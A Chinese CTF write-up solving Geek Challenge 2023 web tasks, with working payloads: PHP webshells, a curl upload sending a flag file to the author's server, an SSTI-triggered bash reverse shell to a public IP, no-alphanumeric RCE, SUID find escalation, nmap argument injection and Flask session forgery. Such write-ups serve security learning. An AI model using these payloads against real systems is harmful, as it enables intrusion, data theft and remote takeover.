【WP】Geek Challenge 2023 web 部分wp

EzHttp

http协议基础题

unsign

简单反序列化题

n00b_Upload

很简单的文件上传,上传1.php,抓包,发现php内容被过滤了,改为<?= eval($_POST[‘a’]);?>,上传成功,命令执行读取就好了

easy_php

payload:

GET:?syc=Welcome to GEEK 2023!%0a&lover=2e5
POST:qw[]=1&yxx[]=2&SYC[GEEK.2023=Happy to see you!

ctf_curl

源码:

 <?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Sycloverif (isset($_GET['addr'])) {$address = $_GET['addr'];if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i", $address)){$result = system("curl ".$address."> /dev/null");} else {echo "Hacker!!!";}
}
?>

最重要的就是下面这句话:

result = system("curl ".$address."> /dev/null");

在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。

-T/--upload-file <file>  // 上传文件

payload:

?addr=-T /tmp/Syclover 120.xx.xx.141
云服务器:nc -lvnp 80

 上面的ip换成公网ip 然后监听就行

ez_remove

这道题当时没写wp 就记得大概主要的思路

大写S可以进行16进制绕过lover 然后直接给payload 

?web=a:2:{i:0;O:3:"syc":1:{S:5:"\6cover";s:16:"eval($_POST[1]);";}i:0;N;}

然后连接蚁剑(https->http)进行find查找提权,发现简单的chmod提权

 

Pupyy_rce

无参数rce

?var=show_source(array_rand(array_flip(scandir(getcwd()))));

参考:https://zhuanlan.zhihu.com/p/157431794 

klf_ssti  

目录扫描扫到一个robots.txt 打开存在hack路径,查看源码存在klf 传参,结合题目 就是ssti注入了,然后使用tplmap工具发现是盲注,我们这里直接用脚本找popen:

import requests
url="http://htakb3g19j9kg6bt5s3mf5yru.node.game.sycsec.com/hack"
for i in range(600):try:data={"klf":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]}}'}respose=requests.get(url,params=data)if respose.status_code==200:print(i)# print(respose.content)except:pass

 经过尝试发现117里有popen,所以构造反弹shell的payload:

?klf={{"".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("bash -c 'bash -i >& /dev/tcp/120.xx.xx.141/80 0>&1'").read()}}

这里ip换成你的公网ip就行 ,然后url进行编码绕过

%7B%7B%22%22.__class__.__base__.__subclasses__()%5B117%5D.__init__.__globals__%5B%22popen%22%5D(%22bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.91.141%2F80%200%3E%261'%22).read()%7D%7D

然后nc -lvvp 80 就可以监听获得flag 

flag保卫战【】

ez_path

题目里面给了个pyc文件 ,先进行一下反编译

编译在线网站:pyc反编译 - 工具匠

 然后得到py文件 源码如下:

# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.0 (default, Nov 25 2022, 11:07:23) 
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: ./tempdata/96e9aea5-79fb-4a2f-a6b9-d4f3bbf3c906.py
# Compiled at: 2023-08-26 01:33:29
# Size of source mod 2**32: 2076 bytes
import os, uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []class Article:def __init__(self, article_id, title, content):self.article_id = article_idself.title = titleself.content = contentdef generate_article_id():return str(uuid.uuid4())@app.route('/')
def index():return render_template('index.html', articles=articles)@app.route('/upload', methods=['GET', 'POST'])
def upload():if request.method == 'POST':title = request.form['title']content = request.form['content']article_id = generate_article_id()article = Article(article_id, title, content)articles.append(article)save_article(article_id, title, content)return redirect('/')else:return render_template('upload.html')@app.route('/article/<article_id>')
def article(article_id):for article in articles:if article.article_id == article_id:title = article.titlesanitized_title = sanitize_filename(title)article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)with open(article_path, 'r') as (file):content = file.read()return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)return render_template('error.html')def save_article(article_id, title, content):sanitized_title = sanitize_filename(title)article_path = ARTICLES_FOLDER + '/' + sanitized_titlewith open(article_path, 'w') as (file):file.write(content)def sanitize_filename(filename):sensitive_chars = [':', '*', '?', '"', '<', '>', '|', '.']for char in sensitive_chars:filename = filename.replace(char, '_')return filenameif __name__ == '__main__':app.run(debug=True)
# okay decompiling /tmp/656424dc12db8.pyc

关键代码如下:

@app.route('/upload', methods=['GET', 'POST'])
def upload():if request.method == 'POST':title = request.form['title']content = request.form['content']article_id = generate_article_id()article = Article(article_id, title, content)articles.append(article)save_article(article_id, title, content)return redirect('/')else:return render_template('upload.html')

如下: 

 我们直接可以任意读取文件 然后根据源码这个

我们直接读就行了 就可以获得flag

you konw flask?

这里扫到一个robots.txt 然后发现/3ysd8.html路径,访问源码得到session key 那结合这道题目 那就是flask 的session伪造了

根据代码,我们可以用脚本形成一个字典

import base64hex_dict = []for byte1 in range(1, 101):s = 'wanbao' + base64.b64encode(str(byte1).encode('utf-8')).decode('utf-8') + 'wanbao'hex_representation = f"'{s}'"hex_dict.append(hex_representation)with open("session_key.txt", "w") as file:for item in hex_dict:file.write(f"{item}\n")

注册一个用户获得初始session

eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ3ZW5kYTk5OSIsInVzZXJfaWQiOjN9.ZWQdDQ.8wuMdBgEZdZkgL99ohiElMmyvi8

然后开始爆破:

flask-unsign --unsign --wordlist session_key.txt --cookie < session.txt

   session.txt保存要解密的session (就是上面注册的)

然后去用flask_session_cookie_manager去加密

python flask_session_cookie_manager3.py encode -s "wanbaoNTY=wanbao" -t "{'is_admin': True, 'name': 'tset9', 'user_id': 4}"

得到:

eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6InRlc3Q5IiwidXNlcl9pZCI6NH0.ZWQiSw.V4HCVirTTFWgDyENt-Qtd0pRcmA

用新的session进行登入 

点击学员管理获得flag

雨【】

famale_imp_l0ve

查看源码发现 /include.php路由 访问得到如下源码:

<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){include($file);
}
?>

最重关键的是:

if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){include($file);

     以上两串代码是对文件后缀进行验证或修改然后再进行包含。对于此类情况,如果要包含非预定文件后缀的文件,可以通过%00截断进行绕过。但是%00截断在php版本5.3.4之后就失效了,而且还要考虑GPC,限制比较严重。除此之外,可以通过zip协议和phar协议来包含文件,突破附加后缀限制。 

具体访问: 

 PHP一些常见的漏洞梳理-腾讯云开发者社区-腾讯云 (tencent.com)

然后大概思路就是写入一句话木马保存为1.jpg文件 然后压缩为zip文件上传,然后在/include.php路由下进行phar协议读取 就可以得到flag

change_it【】

ezrfi【】

EzRce

学习一下jay师傅的解题思路方法

题目源码:

 <?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){eval($data);
}else{echo "no!";
}
?> 

这里关键是获取waf.php文件看看怎么过滤的,经过测试就发现这里只能使用无字母数字rce

具体访问 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

我们直接试一下phpinfo();

?data=("%0f%08%0f%09%0e%06%0f"^"%7f%60%7f%60%60%60%60")();

 

 禁用了很多代码函数,我们可以读取waf文件highlight_file('waf.php')

?data=("%08%09%07%08%0c%09%07%08%0b%01%06%09%0c%05"^"%60%60%60%60%60%60%60%60%7f%5e%60%60%60%60")("%08%01%06%01%0f%08%0f"^"%7f%60%60%2f%7f%60%7f");

 

可用的单个字符就a、e、l、v。 那就构造异或直接eval('$_POST[1]')

<?php
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
eval($___[_]); // eval($_POST[_]);

paylaod:

?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;eval($___[_]);

 

执行成功,但是命令被禁止 我们可以直接 写🐎到文件

GET:?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;eval($___[_]);
POST:_=file_put_contents('17.php','<?=eval($_POST[1]);?>');

 

然后蚁剑连接后发现读取不了flag 那就需要提权

find提权:

find / -perm -u=s -type f 2>/dev/null       //查看具有suid权限的命令
find / -perm -4000 2>/dev/null         //这个也可以

具体访问find提权;https://blog.csdn.net/qq_40898302/article/details/124316982 

然后发现find可以提权 

 

find /tmp -exec cat /flag \;
find `which find` -exec cat /flag \;
find /etc/passwd -exec cat /flag \;

 获得falg

ezpython

附件源码:

import json
import osfrom waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_stringapp = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():def __init__(self):self.username=""self.password=""self.isvip=Falseclass hhh(User):def __init__(self):self.username=""self.password=""registered_users=[]
@app.route('/')
def hello_world():  # put application's code herereturn render_template("welcome.html")@app.route('/play')
def play():username=session.get('username')if username:return render_template('index.html',name=username)else:return redirect(url_for('login'))@app.route('/login',methods=['GET','POST'])
def login():if request.method == 'POST':username=request.form.get('username')password=request.form.get('password')user = next((user for user in registered_users if user.username == username and user.password == password), None)if user:session['username'] = user.usernamesession['password']=user.passwordreturn redirect(url_for('play'))else:return "Invalid login"return redirect(url_for('play'))return render_template("login.html")@app.route('/register',methods=['GET','POST'])
def register():if request.method == 'POST':try:if waf(request.data):return "fuck payload!Hacker!!!"data=json.loads(request.data)if "username" not in data or "password" not in data:return "连用户名密码都没有你注册啥呢"user=hhh()merge(data,user)registered_users.append(user)except Exception as e:return "泰酷辣,没有注册成功捏"return redirect(url_for('login'))else:return render_template("register.html")@app.route('/flag',methods=['GET'])
def flag():user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)if user:if user.isvip:data=request.args.get('num')if data:if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:flag = os.environ.get('geek_flag')return render_template('flag.html',flag=flag)else:return "你的数字不对哦!"else:return "I need a num!!!"else:return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')else:return "先登录去"def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)if __name__ == '__main__':app.run(host="0.0.0.0",port="8888")

重点先看下注册路由 /register

@app.route('/register',methods=['GET','POST'])
def register():if request.method == 'POST':try:if waf(request.data):return "fuck payload!Hacker!!!"data=json.loads(request.data)if "username" not in data or "password" not in data:return "连用户名密码都没有你注册啥呢"user=hhh()merge(data,user)registered_users.append(user)except Exception as e:return "泰酷辣,没有注册成功捏"return redirect(url_for('login'))else:return render_template("register.html")

我们关注到这个merge()函数 ,相信大家也不陌生 js原型链污染里面经常看到这个函数, 

然后我们查看注册 的前端源代码:

 发现注册格式是以 json保存 ,那就很可能用到原型链污染

 那我们应该怎么污染呢 接下来看flag路由:

@app.route('/flag',methods=['GET'])
def flag():user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)if user:if user.isvip:data=request.args.get('num')if data:if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:flag = os.environ.get('geek_flag')return render_template('flag.html',flag=flag)else:return "你的数字不对哦!"else:return "I need a num!!!"else:return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')else:return "先登录去"

 我们要想获得geek_flag 就必须符合下面这个条件:

if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:

这个好说 用+号就饿可以绕过

 然后在上一层 num传参 在上一层 如下;

我们发现只有 user.isvip为真才可进入下面的语句 ,那这不就是我们进行污染的地方吗

paylaod:      

{"username":"wenda","password":"123","__class__" : {"__base__" : {"\u0069\u0073\u0076\u0069\u0070":true}}}

然后登入之后访问flag路由进行传参

flag?num=+123456789

 得到flag

ez_php【】

scan_tool

参考jay师傅

这道题有点像BUUCTF [网鼎杯 2020 朱雀组] Nmap

https://blog.csdn.net/weixin_44037296/article/details/110893526

直接过滤了<,无法写🐎,只能带出文件了。同时还过滤了-iL、-oN等参数。

这题应该也用了PHP中的escapeshellarg()函数,在asisctf-2023 hello中遇到过,会剔除不可见字符。这个特性可以用来绕过对-iL-oN等参数的过滤。

https://paper.seebug.org/164/

Nmap的相关参数选项:

利用-iL参数将文件外带,利用-oG参数将结果写入当前目录的文件

paylaod:

ip=' -i%faL /flag -o%faN 2.txt '

 利用成功

然后访问2.txt就行

klf_2【】

ez_sql【】

EZ_Smuggling【】

klf_3【】

Akane!

经典的PHP反序列化题 

源码:

 <?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{public $Ruby;private $Aquamarine;public function __destruct(){$this->Ruby->func();}
}class Idol
{public $Akane;public function __wakeup(){$this->Akane = '/var/www/html/The************************.php';}public function __call($method,$args){$Kana = count(scandir($this->Akane));if ($Kana > 0) {die('Kurokawa Akane');} else {die('Arima Kana');}}
}$a = unserialize(base64_decode($_GET['tuizi']));?> 

链的构造很简单 主要是下面两点:

1. Idol里面的wakeup魔术方法绕过 

2. $Kana = count(scandir($this->Akane)); 的用法

下面参考一篇文章:

 https://www.jianshu.com/p/16c56bebc63d

因为文件名称不知道,所以我们可以使用glob协议爆破文件名,然后scandir函数的返回值是一个数组,利用数组的长度判断字符是否正确

POP代码:

<?php
class Hoshino
{public $Ruby;public $Aquamarine;
}class Idol
{public $Akane;}$a = new Hoshino();
$a->Ruby=new Idol();
$a->Ruby->Akane='glob:///var/www/html/';
$a2=serialize($a);
$b=str_replace(":2:",":3:",$a2);
echo($b)."\n";
echo base64_encode($b);//O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:21:"glob:///var/www/html/";}s:10:"Aquamarine";N;}
//Tzo3OiJIb3NoaW5vIjozOntzOjQ6IlJ1YnkiO086NDoiSWRvbCI6MTp7czo1OiJBa2FuZSI7czoyMToiZ2xvYjovLy92YXIvd3d3L2h0bWwvIjt9czoxMDoiQXF1YW1hcmluZSI7Tjt9

然后得到的payload用python写脚本进行爆破文件名

import requests
import string
import base64s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789."filename = "The"
url = "http://zzekk475cbtnv12wj8smbybe4.node.game.sycsec.com/"
for num in range(1, 50):for i in s:print(num)print(i)payload = 'O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:' + str(25 + num) + ':"glob:///var/www/html/' + filename + i + '*";}s:10:"Aquamarine";N;}'print(payload)parm = '?tuizi=' + base64.b64encode(payload.encode('utf-8')).decode('utf-8')print(parm)r = requests.get(url=url + parm)if "Kurokawa Akane" in r.text:filename += iprint(num, filename)break

得到TheS4crEtF1AgFi1EByo2takuXX.php 文件 ,访问就得flag 

java【】

后面继续复现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/234530.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

商家门店小程序怎么做?门店小程序的优势和好处

生活服务类商家在当前数字化时代&#xff0c;越来越认识到门店小程序的重要性。门店小程序不仅为商家提供了一个在线展示的窗口&#xff0c;更为其打造了一个与消费者直接互动的平台。有了门店小程序&#xff0c;商家可以更加便捷地管理商品信息、订单流程&#xff0c;同时还能…

基于YOLOv8的道路缺陷检测:自研模块 MSAM 注意力 PK CBAM注意力,实现暴力涨点

&#x1f4a1;&#x1f4a1;&#x1f4a1;本文自研创新改进&#xff1a;MSAM&#xff08;CBAM升级版&#xff09;&#xff1a;通道注意力具备多尺度性能&#xff0c;多分支深度卷积更好的提取多尺度特征&#xff0c;最后高效结合空间注意力 1&#xff09;作为注意力MSAM使用&am…

高等数学积分关系定理(格林公式、高斯公式、斯托克斯公式)的理解

1 格林公式、高斯公式、斯托克斯公式 1.1 格林公式&#xff08;Green formula&#xff09; 1.1.1 格林公式例题 1.2 高斯公式&#xff08;Gauss formula&#xff09; 1.2.1 高斯公式例题1 1.2.2 高斯公式例题2 1.3 斯托克斯公式&#xff08;Stokes formula&#xff09; 1.3.1 …

石油化工隐蔽设备AR可视化检修协助系统让新手也能轻松上岗

随着城市基础设施建设的不断推进&#xff0c;地下管线巡检工作的重要性日益凸显。传统的巡检方法已无法满足现代都市的高效运营需求。此时&#xff0c;地下管线AR智慧巡检远程协助系统应运而生&#xff0c;凭借其独特的特点与优势&#xff0c;为城市地下管线巡检带来了革命性的…

嵌入式数据传输及存储的C语言实现

各种类型的数据传输和存储就涉及到大小端的问题&#xff0c;首先要简单说下芯片的大小端问题&#xff0c;这里主要讨论Cortex-M内核。 M内核支持大端或者小端&#xff0c;实际应用中大部分内核都是小端。以STM32为例&#xff0c;全部都是小端&#xff0c;而且是芯片设计之初就固…

半同步复制与MHA高可用架构设计

各位道友好&#xff0c;鼠鼠我呀校招刚通过了移动的面试 &#xff0c;但是安排的岗位是偏远县城里面的岗位&#xff0c;各位能给给建议吗&#xff1f;鼠鼠我啊真不想有时候变成销售员去卖产品&#xff01;&#xff01;&#xff01; 半同步复制与MHA高可用架构设计 一、半同步复…

Flutter应用程序的加固原理

在移动应用开发中&#xff0c;Flutter已经成为一种非常流行的技术选项&#xff0c;可以同时在Android和iOS平台上构建高性能、高质量的移动应用程序。但是&#xff0c;由于其跨平台特性&#xff0c;Flutter应用程序也面临着一些安全风险&#xff0c;例如反编译、代码泄露、数据…

Python正则表达式:match()和search()函数全面解读

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 在Python中&#xff0c;正则表达式是强大的工具&#xff0c;能够用于文本匹配、搜索和替换。re模块提供了许多函数来处理正则表达式&#xff0c;其中match()和search()是两个常用的函数。本文将深入探讨这两个函…

力扣刷题-122买卖股票的最佳时机

题目要求如上&#xff0c;这里可以有两种解题思路&#xff0c;一种是利用动态规划去求解&#xff0c;一种是用贪心去求解。 首先看下动态规划的方法。 用动归去解决 动态规划最重要的就是要想出来递推公式&#xff08;这个真的很难&#xff09;&#xff0c;但是一旦想清楚递推…

EasyExcel生成多sheet页的excel

一、controller层 ApiOperation(value "明细查询导出") PostMapping(value "/SummaryDetailExport") public void summaryDetailExport(RequestBody SearchDTO dto, HttpServletResponse response) throws IOException {reportService.deptPackagingSum…

Python函数装饰器的用法

Python函数装饰器的用法 文章目录 1.装饰器的优点2. 使用装饰器前3. 使用装饰器后 装饰器是Python中一种强大的语法特性&#xff0c;它允许在不修改已有代码的情况下&#xff0c;对函数或类进行增强或修改。装饰器的本质是一个函数&#xff0c;它接受一个函数作为参数&#xf…

软件测试面试最全八股文

请你说一说测试用例的边界 参考回答&#xff1a; 边界值分析法就是对输入或输出的边界值进行测试的一种黑盒测试方法。通常边界值分析法是作为对等价类划分法的补充&#xff0c;这种情况下&#xff0c;其测试用例来自等价类的边界。 常见的边界值 1)对16-bit 的整数而言 32…